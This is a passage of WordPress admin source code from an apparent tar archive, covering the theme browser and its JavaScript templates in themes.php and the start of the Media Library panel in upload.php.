href='themes.php?page={$item[2]}'>{$item[0]}</a>"; } } } } $class_name = 'theme-browser'; if ( ! empty( $_GET['search'] ) ) { $class_name .= ' search-loading'; } ?> <div class="<?php echo esc_attr( $class_name ); ?>"> <div class="themes wp-clearfix"> <?php /* * This PHP is synchronized with the tmpl-theme template below! */ foreach ( $themes as $theme ) : $aria_action = $theme['id'] . '-action'; $aria_name = $theme['id'] . '-name'; $active_class = ''; if ( $theme['active'] ) { $active_class = ' active'; } ?> <div class="theme<?php echo $active_class; ?>"> <?php if ( ! empty( $theme['screenshot'][0] ) ) { ?> <div class="theme-screenshot"> <img src="<?php echo esc_url( $theme['screenshot'][0] . '?ver=' . $theme['version'] ); ?>" alt="" /> </div> <?php } else { ?> <div class="theme-screenshot blank"></div> <?php } ?> <?php if ( $theme['hasUpdate'] ) : ?> <?php if ( $theme['updateResponse']['compatibleWP'] && $theme['updateResponse']['compatiblePHP'] ) : if ( $theme['hasPackage'] ) { $new_version_available = __( 'New version available. <button class="button-link" type="button">Update now</button>' ); } else { $new_version_available = __( 'New version available.' ); } wp_admin_notice( $new_version_available, array( 'type' => 'warning', 'additional_classes' => array( 'notice-alt', 'inline', 'update-message' ), ) ); else : $theme_update_error = ''; if ( ! $theme['updateResponse']['compatibleWP'] && ! $theme['updateResponse']['compatiblePHP'] ) { $theme_update_error .= sprintf( /* translators: %s: Theme name. */ __( 'There is a new version of %s available, but it does not work with your versions of WordPress and PHP.' ), $theme['name'] ); if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) { $theme_update_error .= sprintf( /* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */ ' ' . __( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ), self_admin_url( 'update-core.php' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '</p><p><em>', '</em>', false ); } elseif ( current_user_can( 'update_core' ) ) { $theme_update_error .= sprintf( /* translators: %s: URL to WordPress Updates screen. */ ' ' . __( '<a href="%s">Please update WordPress</a>.' ), self_admin_url( 'update-core.php' ) ); } elseif ( current_user_can( 'update_php' ) ) { $theme_update_error .= sprintf( /* translators: %s: URL to Update PHP page. */ ' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '</p><p><em>', '</em>', false ); } } elseif ( ! $theme['updateResponse']['compatibleWP'] ) { $theme_update_error .= sprintf( /* translators: %s: Theme name. */ __( 'There is a new version of %s available, but it does not work with your version of WordPress.' ), $theme['name'] ); if ( current_user_can( 'update_core' ) ) { $theme_update_error .= sprintf( /* translators: %s: URL to WordPress Updates screen. */ ' ' . __( '<a href="%s">Please update WordPress</a>.' ), self_admin_url( 'update-core.php' ) ); } } elseif ( ! $theme['updateResponse']['compatiblePHP'] ) { $theme_update_error .= sprintf( /* translators: %s: Theme name. */ __( 'There is a new version of %s available, but it does not work with your version of PHP.' ), $theme['name'] ); if ( current_user_can( 'update_php' ) ) { $theme_update_error .= sprintf( /* translators: %s: URL to Update PHP page. */ ' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '</p><p><em>', '</em>', false ); } } wp_admin_notice( $theme_update_error, array( 'type' => 'error', 'additional_classes' => array( 'notice-alt', 'inline', 'update-message' ), ) ); endif; endif; if ( ! $theme['compatibleWP'] || ! $theme['compatiblePHP'] ) { $message = ''; if ( ! $theme['compatibleWP'] && ! $theme['compatiblePHP'] ) { $message = __( 'This theme does not work with your versions of WordPress and PHP.' ); if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) { $message .= sprintf( /* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */ ' ' . __( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ), self_admin_url( 'update-core.php' ), esc_url( wp_get_update_php_url() ) ); $message .= wp_update_php_annotation( '</p><p><em>', '</em>', false ); } elseif ( current_user_can( 'update_core' ) ) { $message .= sprintf( /* translators: %s: URL to WordPress Updates screen. */ ' ' . __( '<a href="%s">Please update WordPress</a>.' ), self_admin_url( 'update-core.php' ) ); } elseif ( current_user_can( 'update_php' ) ) { $message .= sprintf( /* translators: %s: URL to Update PHP page. */ ' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ), esc_url( wp_get_update_php_url() ) ); $message .= wp_update_php_annotation( '</p><p><em>', '</em>', false ); } } elseif ( ! $theme['compatibleWP'] ) { $message .= __( 'This theme does not work with your version of WordPress.' ); if ( current_user_can( 'update_core' ) ) { $message .= sprintf( /* translators: %s: URL to WordPress Updates screen. */ ' ' . __( '<a href="%s">Please update WordPress</a>.' ), self_admin_url( 'update-core.php' ) ); } } elseif ( ! $theme['compatiblePHP'] ) { $message .= __( 'This theme does not work with your version of PHP.' ); if ( current_user_can( 'update_php' ) ) { $message .= sprintf( /* translators: %s: URL to Update PHP page. */ ' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ), esc_url( wp_get_update_php_url() ) ); $message .= wp_update_php_annotation( '</p><p><em>', '</em>', false ); } } wp_admin_notice( $message, array( 'type' => 'error', 'additional_classes' => array( 'inline', 'notice-alt' ), ) ); } /* translators: %s: Theme name. */ $details_aria_label = sprintf( _x( 'View Theme Details for %s', 'theme' ), $theme['name'] ); ?> <button type="button" class="more-details" id="<?php echo esc_attr( $aria_action ); ?>" aria-label="<?php echo esc_attr( $details_aria_label ); ?>" ><?php _e( 'Theme Details' ); ?></button> <div class="theme-author"> <?php /* translators: %s: Theme author name. */ printf( __( 'By %s' ), $theme['author'] ); ?> </div> <div class="theme-id-container"> <?php if ( $theme['active'] ) { ?> <h2 class="theme-name" id="<?php echo esc_attr( $aria_name ); ?>"> <span><?php _ex( 'Active:', 'theme' ); ?></span> <?php echo $theme['name']; ?> </h2> <?php } else { ?> <h2 class="theme-name" id="<?php echo esc_attr( $aria_name ); ?>"><?php echo $theme['name']; ?></h2> <?php } ?> <div class="theme-actions"> <?php if ( $theme['active'] ) { ?> <?php if ( $theme['actions']['customize'] && current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) { /* translators: %s: Theme name. */ $customize_aria_label = sprintf( _x( 'Customize %s', 'theme' ), $theme['name'] ); ?> <a class="button button-compact button-primary customize load-customize hide-if-no-customize" href="<?php echo esc_url( $theme['actions']['customize'] ); ?>" aria-label="<?php echo esc_attr( $customize_aria_label ); ?>" ><?php _e( 'Customize' ); ?></a> <?php } ?> <?php } elseif ( $theme['compatibleWP'] && $theme['compatiblePHP'] ) { ?> <?php /* translators: %s: Theme name. */ $aria_label = sprintf( _x( 'Activate %s', 'theme' ), '{{ data.name }}' ); ?> <a class="button button-compact activate" href="<?php echo esc_url( $theme['actions']['activate'] ); ?>" aria-label="<?php echo esc_attr( $aria_label ); ?>" ><?php _e( 'Activate' ); ?></a> <?php // Only classic themes require the "customize" capability. if ( current_user_can( 'edit_theme_options' ) && ( $theme['blockTheme'] || current_user_can( 'customize' ) ) ) { /* translators: %s: Theme name. */ $live_preview_aria_label = sprintf( _x( 'Live Preview %s', 'theme' ), '{{ data.name }}' ); ?> <a class="button button-compact button-primary load-customize hide-if-no-customize" href="<?php echo esc_url( $theme['actions']['customize'] ); ?>" aria-label="<?php echo esc_attr( $live_preview_aria_label ); ?>" ><?php _e( 'Live Preview' ); ?></a> <?php } ?> <?php } else { ?> <?php /* translators: %s: Theme name. */ $aria_label = sprintf( _x( 'Cannot Activate %s', 'theme' ), '{{ data.name }}' ); ?> <a class="button button-compact disabled" aria-label="<?php echo esc_attr( $aria_label ); ?>" ><?php _ex( 'Cannot Activate', 'theme' ); ?></a> <?php if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) { /* translators: %s: Theme name. */ $live_preview_aria_label = sprintf( _x( 'Live Preview %s', 'theme' ), '{{ data.name }}' ); ?> <a class="button button-compact button-primary hide-if-no-customize disabled" aria-label="<?php echo esc_attr( $live_preview_aria_label ); ?>" ><?php _e( 'Live Preview' ); ?></a> <?php } ?> <?php } ?> </div> </div> </div> <?php endforeach; ?> </div> </div> <div class="theme-overlay" tabindex="0" role="dialog" aria-label="<?php esc_attr_e( 'Theme Details' ); ?>"></div> <p class="no-themes"><?php _e( 'No themes found. Try a different search.' ); ?></p> <?php // List broken themes, if any. $broken_themes = wp_get_themes( array( 'errors' => true ) ); if ( ! is_multisite() && $broken_themes ) { ?> <div class="broken-themes"> <h3><?php _e( 'Broken Themes' ); ?></h3> <p><?php _e( 'The following themes are installed but incomplete.' ); ?></p> <?php $can_resume = current_user_can( 'resume_themes' ); $can_delete = current_user_can( 'delete_themes' ); $can_install = current_user_can( 'install_themes' ); ?> <table> <tr> <th><?php _ex( 'Name', 'theme name' ); ?></th> <th><?php _e( 'Description' ); ?></th> <?php if ( $can_resume ) { ?> <td></td> <?php } ?> <?php if ( $can_delete ) { ?> <td></td> <?php } ?> <?php if ( $can_install ) { ?> <td></td> <?php } ?> </tr> <?php foreach ( $broken_themes as $broken_theme ) : ?> <tr> <td><?php echo $broken_theme->get( 'Name' ) ? $broken_theme->display( 'Name' ) : esc_html( $broken_theme->get_stylesheet() ); ?></td> <td><?php echo $broken_theme->errors()->get_error_message(); ?></td> <?php if ( $can_resume ) { if ( 'theme_paused' === $broken_theme->errors()->get_error_code() ) { $stylesheet = $broken_theme->get_stylesheet(); $resume_url = add_query_arg( array( 'action' => 'resume', 'stylesheet' => urlencode( $stylesheet ), ), admin_url( 'themes.php' ) ); $resume_url = wp_nonce_url( $resume_url, 'resume-theme_' . $stylesheet ); ?> <td><a href="<?php echo esc_url( $resume_url ); ?>" class="button resume-theme"><?php _e( 'Resume' ); ?></a></td> <?php } else { ?> <td></td> <?php } } if ( $can_delete ) { $stylesheet = $broken_theme->get_stylesheet(); $delete_url = add_query_arg( array( 'action' => 'delete', 'stylesheet' => urlencode( $stylesheet ), ), admin_url( 'themes.php' ) ); $delete_url = wp_nonce_url( $delete_url, 'delete-theme_' . $stylesheet ); ?> <td><a href="<?php echo esc_url( $delete_url ); ?>" class="button delete-theme"><?php _e( 'Delete' ); ?></a></td> <?php } if ( $can_install && 'theme_no_parent' === $broken_theme->errors()->get_error_code() ) { $parent_theme_name = $broken_theme->get( 'Template' ); $parent_theme = themes_api( 'theme_information', array( 'slug' => urlencode( $parent_theme_name ) ) ); if ( ! is_wp_error( $parent_theme ) ) { $install_url = add_query_arg( array( 'action' => 'install-theme', 'theme' => urlencode( $parent_theme_name ), ), admin_url( 'update.php' ) ); $install_url = wp_nonce_url( $install_url, 'install-theme_' . $parent_theme_name ); ?> <td><a href="<?php echo esc_url( $install_url ); ?>" class="button install-theme"><?php _e( 'Install Parent Theme' ); ?></a></td> <?php } } ?> </tr> <?php endforeach; ?> </table> </div> <?php } ?> </div><!-- .wrap --> <?php /** * Returns the JavaScript template used to display the auto-update setting for a theme. * * @since 5.5.0 * * @return string The template for displaying the auto-update setting link. */ function wp_theme_auto_update_setting_template() { $notice = wp_get_admin_notice( '', array( 'type' => 'error', 'additional_classes' => array( 'notice-alt', 'inline', 'hidden' ), ) ); $template = ' <div class="theme-autoupdate"> <# if ( data.autoupdate.supported ) { #> <# if ( data.autoupdate.forced === false ) { #> ' . __( 'Auto-updates disabled' ) . ' <# } else if ( data.autoupdate.forced ) { #> ' . __( 'Auto-updates enabled' ) . ' <# } else if ( data.autoupdate.enabled ) { #> <button type="button" class="toggle-auto-update button-link" data-slug="{{ data.id }}" data-wp-action="disable"> <span class="dashicons dashicons-update spin hidden" aria-hidden="true"></span><span class="label">' . __( 'Disable auto-updates' ) . '</span> </button> <# } else { #> <button type="button" class="toggle-auto-update button-link" data-slug="{{ data.id }}" data-wp-action="enable"> <span class="dashicons dashicons-update spin hidden" aria-hidden="true"></span><span class="label">' . __( 'Enable auto-updates' ) . '</span> </button> <# } #> <# } #> <# if ( data.hasUpdate ) { #> <# if ( data.autoupdate.supported && data.autoupdate.enabled ) { #> <span class="auto-update-time"> <# } else { #> <span class="auto-update-time hidden"> <# } #> <br />' . wp_get_auto_update_message() . '</span> <# } #> ' . $notice . ' </div> '; /** * Filters the JavaScript template used to display the auto-update setting for a theme (in the overlay). * * See {@see wp_prepare_themes_for_js()} for the properties of the `data` object. * * @since 5.5.0 * * @param string $template The template for displaying the auto-update setting link. */ return apply_filters( 'theme_auto_update_setting_template', $template ); } /* * The tmpl-theme template is synchronized with PHP above! */ ?> <script id="tmpl-theme" type="text/template"> <# if ( data.screenshot[0] ) { #> <div class="theme-screenshot"> <img src="{{ data.screenshot[0] }}?ver={{ data.version }}" alt="" /> </div> <# } else { #> <div class="theme-screenshot blank"></div> <# } #> <# if ( data.hasUpdate ) { #> <# if ( data.updateResponse.compatibleWP && data.updateResponse.compatiblePHP ) { #> <div class="update-message notice inline notice-warning notice-alt"><p> <# if ( data.hasPackage ) { #> <?php _e( 'New version available. <button class="button-link" type="button">Update now</button>' ); ?> <# } else { #> <?php _e( 'New version available.' ); ?> <# } #> </p></div> <# } else { #> <div class="update-message notice inline notice-error notice-alt"><p> <# if ( ! data.updateResponse.compatibleWP && ! data.updateResponse.compatiblePHP ) { #> <?php printf( /* translators: %s: Theme name. */ __( 'There is a new version of %s available, but it does not work with your versions of WordPress and PHP.' ), '{{{ data.name }}}' ); if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) { printf( /* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */ ' ' . __( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ), self_admin_url( 'update-core.php' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '</p><p><em>', '</em>' ); } elseif ( current_user_can( 'update_core' ) ) { printf( /* translators: %s: URL to WordPress Updates screen. */ ' ' . __( '<a href="%s">Please update WordPress</a>.' ), self_admin_url( 'update-core.php' ) ); } elseif ( current_user_can( 'update_php' ) ) { printf( /* translators: %s: URL to Update PHP page. */ ' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '</p><p><em>', '</em>' ); } ?> <# } else if ( ! data.updateResponse.compatibleWP ) { #> <?php printf( /* translators: %s: Theme name. */ __( 'There is a new version of %s available, but it does not work with your version of WordPress.' ), '{{{ data.name }}}' ); if ( current_user_can( 'update_core' ) ) { printf( /* translators: %s: URL to WordPress Updates screen. */ ' ' . __( '<a href="%s">Please update WordPress</a>.' ), self_admin_url( 'update-core.php' ) ); } ?> <# } else if ( ! data.updateResponse.compatiblePHP ) { #> <?php printf( /* translators: %s: Theme name. */ __( 'There is a new version of %s available, but it does not work with your version of PHP.' ), '{{{ data.name }}}' ); if ( current_user_can( 'update_php' ) ) { printf( /* translators: %s: URL to Update PHP page. */ ' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '</p><p><em>', '</em>' ); } ?> <# } #> </p></div> <# } #> <# } #> <# if ( ! data.compatibleWP || ! data.compatiblePHP ) { #> <div class="notice notice-error notice-alt"><p> <# if ( ! data.compatibleWP && ! data.compatiblePHP ) { #> <?php _e( 'This theme does not work with your versions of WordPress and PHP.' ); if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) { printf( /* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */ ' ' . __( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ), self_admin_url( 'update-core.php' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '</p><p><em>', '</em>' ); } elseif ( current_user_can( 'update_core' ) ) { printf( /* translators: %s: URL to WordPress Updates screen. */ ' ' . __( '<a href="%s">Please update WordPress</a>.' ), self_admin_url( 'update-core.php' ) ); } elseif ( current_user_can( 'update_php' ) ) { printf( /* translators: %s: URL to Update PHP page. */ ' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '</p><p><em>', '</em>' ); } ?> <# } else if ( ! data.compatibleWP ) { #> <?php _e( 'This theme does not work with your version of WordPress.' ); if ( current_user_can( 'update_core' ) ) { printf( /* translators: %s: URL to WordPress Updates screen. */ ' ' . __( '<a href="%s">Please update WordPress</a>.' ), self_admin_url( 'update-core.php' ) ); } ?> <# } else if ( ! data.compatiblePHP ) { #> <?php _e( 'This theme does not work with your version of PHP.' ); if ( current_user_can( 'update_php' ) ) { printf( /* translators: %s: URL to Update PHP page. */ ' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '</p><p><em>', '</em>' ); } ?> <# } #> </p></div> <# } #> <?php /* translators: %s: Theme name. */ $details_aria_label = sprintf( _x( 'View Theme Details for %s', 'theme' ), '{{ data.name }}' ); ?> <button type="button" class="more-details" id="{{ data.id }}-action" aria-label="<?php echo esc_attr( $details_aria_label ); ?>" ><?php _e( 'Theme Details' ); ?></button> <div class="theme-author"> <?php /* translators: %s: Theme author name. */ printf( __( 'By %s' ), '{{{ data.author }}}' ); ?> </div> <div class="theme-id-container"> <# if ( data.active ) { #> <h2 class="theme-name" id="{{ data.id }}-name"> <span><?php _ex( 'Active:', 'theme' ); ?></span> {{{ data.name }}} </h2> <# } else { #> <h2 class="theme-name" id="{{ data.id }}-name">{{{ data.name }}}</h2> <# } #> <div class="theme-actions"> <# if ( data.active ) { #> <# if ( data.actions.customize ) { #> <?php /* translators: %s: Theme name. */ $customize_aria_label = sprintf( _x( 'Customize %s', 'theme' ), '{{ data.name }}' ); ?> <a class="button button-compact button-primary customize load-customize hide-if-no-customize" href="{{{ data.actions.customize }}}" aria-label="<?php echo esc_attr( $customize_aria_label ); ?>" ><?php _e( 'Customize' ); ?></a> <# } #> <# } else { #> <# if ( data.compatibleWP && data.compatiblePHP ) { #> <?php /* translators: %s: Theme name. */ $aria_label = sprintf( _x( 'Activate %s', 'theme' ), '{{ data.name }}' ); ?> <a class="button button-compact activate" href="{{{ data.actions.activate }}}" aria-label="<?php echo esc_attr( $aria_label ); ?>" ><?php _e( 'Activate' ); ?></a> <?php /* translators: %s: Theme name. */ $live_preview_aria_label = sprintf( _x( 'Live Preview %s', 'theme' ), '{{ data.name }}' ); ?> <a class="button button-compact button-primary load-customize hide-if-no-customize" href="{{{ data.actions.customize }}}" aria-label="<?php echo esc_attr( $live_preview_aria_label ); ?>" ><?php _e( 'Live Preview' ); ?></a> <# } else { #> <?php /* translators: %s: Theme name. */ $aria_label = sprintf( _x( 'Cannot Activate %s', 'theme' ), '{{ data.name }}' ); ?> <a class="button button-compact disabled" aria-label="<?php echo esc_attr( $aria_label ); ?>" ><?php _ex( 'Cannot Activate', 'theme' ); ?></a> <?php /* translators: %s: Theme name. */ $live_preview_aria_label = sprintf( _x( 'Live Preview %s', 'theme' ), '{{ data.name }}' ); ?> <a class="button button-compact button-primary hide-if-no-customize disabled" aria-label="<?php echo esc_attr( $live_preview_aria_label ); ?>" ><?php _e( 'Live Preview' ); ?></a> <# } #> <# } #> </div> </div> </script> <script id="tmpl-theme-single" type="text/template"> <div class="theme-backdrop"></div> <div class="theme-wrap wp-clearfix" role="document"> <div class="theme-header"> <button class="left dashicons dashicons-no"><span class="screen-reader-text"> <?php /* translators: Hidden accessibility text. */ _e( 'Show previous theme' ); ?> </span></button> <button class="right dashicons dashicons-no"><span class="screen-reader-text"> <?php /* translators: Hidden accessibility text. */ _e( 'Show next theme' ); ?> </span></button> <button class="close dashicons dashicons-no"><span class="screen-reader-text"> <?php /* translators: Hidden accessibility text. */ _e( 'Close details dialog' ); ?> </span></button> </div> <div class="theme-about wp-clearfix"> <div class="theme-screenshots"> <# if ( data.screenshot[0] ) { #> <div class="screenshot"><img src="{{ data.screenshot[0] }}?ver={{ data.version }}" alt="" /></div> <# } else { #> <div class="screenshot blank"></div> <# } #> </div> <div class="theme-info"> <# if ( data.active ) { #> <span class="current-label"><?php _e( 'Active Theme' ); ?></span> <# } #> <h2 class="theme-name">{{{ data.name }}}<span class="theme-version"> <?php /* translators: %s: Theme version. */ printf( __( 'Version: %s' ), '{{ data.version }}' ); ?> </span></h2> <p class="theme-author"> <?php /* translators: %s: Theme author link. */ printf( __( 'By %s' ), '{{{ data.authorAndUri }}}' ); ?> </p> <# if ( ! data.compatibleWP || ! data.compatiblePHP ) { #> <div class="notice notice-error notice-alt notice-large"><p> <# if ( ! data.compatibleWP && ! data.compatiblePHP ) { #> <?php _e( 'This theme does not work with your versions of WordPress and PHP.' ); if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) { printf( /* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */ ' ' . __( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ), self_admin_url( 'update-core.php' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '</p><p><em>', '</em>' ); } elseif ( current_user_can( 'update_core' ) ) { printf( /* translators: %s: URL to WordPress Updates screen. */ ' ' . __( '<a href="%s">Please update WordPress</a>.' ), self_admin_url( 'update-core.php' ) ); } elseif ( current_user_can( 'update_php' ) ) { printf( /* translators: %s: URL to Update PHP page. */ ' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '</p><p><em>', '</em>' ); } ?> <# } else if ( ! data.compatibleWP ) { #> <?php _e( 'This theme does not work with your version of WordPress.' ); if ( current_user_can( 'update_core' ) ) { printf( /* translators: %s: URL to WordPress Updates screen. */ ' ' . __( '<a href="%s">Please update WordPress</a>.' ), self_admin_url( 'update-core.php' ) ); } ?> <# } else if ( ! data.compatiblePHP ) { #> <?php _e( 'This theme does not work with your version of PHP.' ); if ( current_user_can( 'update_php' ) ) { printf( /* translators: %s: URL to Update PHP page. */ ' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '</p><p><em>', '</em>' ); } ?> <# } #> </p></div> <# } #> <# if ( data.hasUpdate ) { #> <# if ( data.updateResponse.compatibleWP && data.updateResponse.compatiblePHP ) { #> <div class="notice notice-warning notice-alt notice-large"> <h3 class="notice-title"><?php _e( 'Update Available' ); ?></h3> {{{ data.update }}} </div> <# } else { #> <div class="notice notice-error notice-alt notice-large"> <h3 class="notice-title"><?php _e( 'Update Incompatible' ); ?></h3> <p> <# if ( ! data.updateResponse.compatibleWP && ! data.updateResponse.compatiblePHP ) { #> <?php printf( /* translators: %s: Theme name. */ __( 'There is a new version of %s available, but it does not work with your versions of WordPress and PHP.' ), '{{{ data.name }}}' ); if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) { printf( /* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */ ' ' . __( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ), self_admin_url( 'update-core.php' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '</p><p><em>', '</em>' ); } elseif ( current_user_can( 'update_core' ) ) { printf( /* translators: %s: URL to WordPress Updates screen. */ ' ' . __( '<a href="%s">Please update WordPress</a>.' ), self_admin_url( 'update-core.php' ) ); } elseif ( current_user_can( 'update_php' ) ) { printf( /* translators: %s: URL to Update PHP page. */ ' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '</p><p><em>', '</em>' ); } ?> <# } else if ( ! data.updateResponse.compatibleWP ) { #> <?php printf( /* translators: %s: Theme name. */ __( 'There is a new version of %s available, but it does not work with your version of WordPress.' ), '{{{ data.name }}}' ); if ( current_user_can( 'update_core' ) ) { printf( /* translators: %s: URL to WordPress Updates screen. */ ' ' . __( '<a href="%s">Please update WordPress</a>.' ), self_admin_url( 'update-core.php' ) ); } ?> <# } else if ( ! data.updateResponse.compatiblePHP ) { #> <?php printf( /* translators: %s: Theme name. */ __( 'There is a new version of %s available, but it does not work with your version of PHP.' ), '{{{ data.name }}}' ); if ( current_user_can( 'update_php' ) ) { printf( /* translators: %s: URL to Update PHP page. */ ' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '</p><p><em>', '</em>' ); } ?> <# } #> </p> </div> <# } #> <# } #> <# if ( data.actions.autoupdate ) { #> <?php echo wp_theme_auto_update_setting_template(); ?> <# } #> <p class="theme-description">{{{ data.description }}}</p> <# if ( data.parent ) { #> <p class="parent-theme"> <?php /* translators: %s: Theme name. */ printf( __( 'This is a child theme of %s.' ), '<strong>{{{ data.parent }}}</strong>' ); ?> </p> <# } #> <# if ( data.tags ) { #> <p class="theme-tags"><span><?php _e( 'Tags:' ); ?></span> {{{ data.tags }}}</p> <# } #> </div> </div> <div class="theme-actions"> <div class="active-theme"> <a class="button button-compact button-primary customize load-customize hide-if-no-customize" href="{{{ data.actions.customize }}}" ><?php _e( 'Customize' ); ?></a> <?php echo implode( ' ', $current_theme_actions ); ?> </div> <div class="inactive-theme"> <# if ( data.compatibleWP && data.compatiblePHP ) { #> <?php /* translators: %s: Theme name. */ $live_preview_aria_label = sprintf( _x( 'Live Preview %s', 'theme' ), '{{ data.name }}' ); ?> <a class="button button-compact button-primary load-customize hide-if-no-customize" href="{{{ data.actions.customize }}}" aria-label="<?php echo esc_attr( $live_preview_aria_label ); ?>" ><?php _e( 'Live Preview' ); ?></a> <# if ( data.actions.activate ) { #> <?php /* translators: %s: Theme name. */ $aria_label = sprintf( _x( 'Activate %s', 'theme' ), '{{ data.name }}' ); ?> <a class="button button-compact activate" href="{{{ data.actions.activate }}}" aria-label="<?php echo esc_attr( $aria_label ); ?>" ><?php _e( 'Activate' ); ?></a> <# } #> <# } else { #> <?php /* translators: %s: Theme name. */ $live_preview_aria_label = sprintf( _x( 'Live Preview %s', 'theme' ), '{{ data.name }}' ); ?> <a class="button button-compact button-primary hide-if-no-customize disabled" aria-label="<?php echo esc_attr( $live_preview_aria_label ); ?>" ><?php _e( 'Live Preview' ); ?></a> <# if ( data.actions.activate ) { #> <?php /* translators: %s: Theme name. */ $aria_label = sprintf( _x( 'Cannot Activate %s', 'theme' ), '{{ data.name }}' ); ?> <a class="button button-compact disabled" aria-label="<?php echo esc_attr( $aria_label ); ?>" ><?php _ex( 'Cannot Activate', 'theme' ); ?></a> <# } #> <# } #> </div> <# if ( ! data.active && data.actions['delete'] ) { #> <?php /* translators: %s: Theme name. */ $aria_label = sprintf( _x( 'Delete %s', 'theme' ), '{{ data.name }}' ); ?> <a class="button button-compact delete-theme" href="{{{ data.actions['delete'] }}}" aria-label="<?php echo esc_attr( $aria_label ); ?>" ><?php _e( 'Delete' ); ?></a> <# } #> </div> </div> </script> <?php wp_print_request_filesystem_credentials_modal(); wp_print_admin_notice_templates(); wp_print_update_row_templates(); wp_localize_script( 'updates', '_wpUpdatesItemCounts', array( 'totals' => wp_get_update_data(), ) ); require_once ABSPATH . 'wp-admin/admin-footer.php'; upload.php 0000644 00000035631 15233246127 0006556 0 ustar 00 <?php /** * Media Library administration panel. * * @package WordPress * @subpackage Administration */ /** WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; if ( ! current_user_can( 'upload_files' ) ) { wp_die( __( 'Sorry, you are not allowed to upload files.' ) ); } $message = ''; if ( ! empty( $_GET['posted'] ) ) { $message = __( 'Media file updated.' ); $_SERVER['REQUEST_URI'] = remove_query_arg( array( 'posted' ), $_SERVER['REQUEST_URI'] ); unset( $_GET['posted'] ); } if ( ! empty( $_GET['attached'] ) && absint( $_GET['attached'] ) ) { $attached = absint( $_GET['attached'] ); if ( 1 === $attached ) { $message = __( 'Media file attached.' ); } else { $message = sprintf( /* translators: %s: Number of media files. */ _n( '%s media file attached.', '%s media files attached.', $attached ), number_format_i18n( $attached ) ); } $_SERVER['REQUEST_URI'] = remove_query_arg( array( 'detach', 'attached' ), $_SERVER['REQUEST_URI'] ); unset( $_GET['detach'], $_GET['attached'] ); } if ( ! empty( $_GET['detach'] ) && absint( $_GET['detach'] ) ) { $detached = absint( $_GET['detach'] ); if ( 1 === $detached ) { $message = __( 'Media file detached.' ); } else { $message = sprintf( /* translators: %s: Number of media files. */ _n( '%s media file detached.', '%s media files detached.', $detached ), number_format_i18n( $detached ) ); } $_SERVER['REQUEST_URI'] = remove_query_arg( array( 'detach', 'attached' ), $_SERVER['REQUEST_URI'] ); unset( $_GET['detach'], $_GET['attached'] ); } if ( ! empty( $_GET['deleted'] ) && absint( $_GET['deleted'] ) ) { $deleted = absint( $_GET['deleted'] ); if ( 1 === $deleted ) { $message = __( 'Media file permanently deleted.' ); } else { $message = sprintf( /* translators: %s: Number of media files. */ _n( '%s media file permanently deleted.', '%s media files permanently deleted.', $deleted ), number_format_i18n( $deleted ) ); } $_SERVER['REQUEST_URI'] = remove_query_arg( array( 'deleted' ), $_SERVER['REQUEST_URI'] ); unset( $_GET['deleted'] ); } if ( ! empty( $_GET['trashed'] ) && absint( $_GET['trashed'] ) ) { $trashed = absint( $_GET['trashed'] ); if ( 1 === $trashed ) { $message = __( 'Media file moved to the Trash.' ); } else { $message = sprintf( /* translators: %s: Number of media files. */ _n( '%s media file moved to the Trash.', '%s media files moved to the Trash.', $trashed ), number_format_i18n( $trashed ) ); } $message .= sprintf( ' <a href="%1$s">%2$s</a>', esc_url( wp_nonce_url( 'upload.php?doaction=undo&action=untrash&ids=' . ( $_GET['ids'] ?? '' ), 'bulk-media' ) ), __( 'Undo' ) ); $_SERVER['REQUEST_URI'] = remove_query_arg( array( 'trashed' ), $_SERVER['REQUEST_URI'] ); unset( $_GET['trashed'] ); } if 